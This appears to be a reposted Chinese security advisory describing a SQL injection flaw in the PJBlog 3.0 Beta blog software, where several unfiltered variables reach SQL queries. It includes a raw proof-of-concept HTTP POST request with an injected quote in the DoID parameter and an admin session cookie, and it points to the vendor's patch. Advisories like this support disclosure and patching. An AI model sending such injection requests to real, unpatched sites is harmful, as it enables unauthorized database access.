影响版本:
3.0 Beta漏洞描述:
PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，PJBlog同时支持简繁中文，UTF-8编码，相对于其他系统，PJBlog具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。
在文件control/ Action.aspp中。
变量moduleID，GetPlugName，KeyWordID，smilesID，LinkID，mem_ID，doCommID，selCommID，TagsID，DelCate没有过滤放入sql语句导致注入漏洞的产生。
<*参考 无 *>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!POST /ConContent.asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword,
application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://127.0.0.1:103/ConContent.asp?Fmenu=Categories
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host: 127.0.0.1:103
Content-Length: 101
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PJBlog3Setting=ViewType=normal;
PJBlog3=memRight=111111111111&memName=admin&memHashKey=01c1dc172188d12f917e6c2492e787d43ce0966c;
ASPSESSIONIDQAABRAAQ=LAJBLBADFALCDBPMDPHHNCGL; ASP.NET_SessionId=052531uhossk1155ks5dm245;CheckCode=4633B8B4FA46833C; ASPSESSIONIDCABCSCDT=ICDNLLBDEBHJHCMNKBICIECH;ASPSESSIONIDQABBRABQ=IPGLOPCDNGMADODNDNMDLALO
action=Skins&whatdo=delModule&DoID=1%27&Submit=%E4%BF%9D%E5%AD%98%E6%97%A5%E5%BF%97%E5%88%86%E7%B1%BB
SEBUG安全建议:
PJblog
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://bbs.pjhome.net/thread-48122-1-1.html
【编辑推荐】
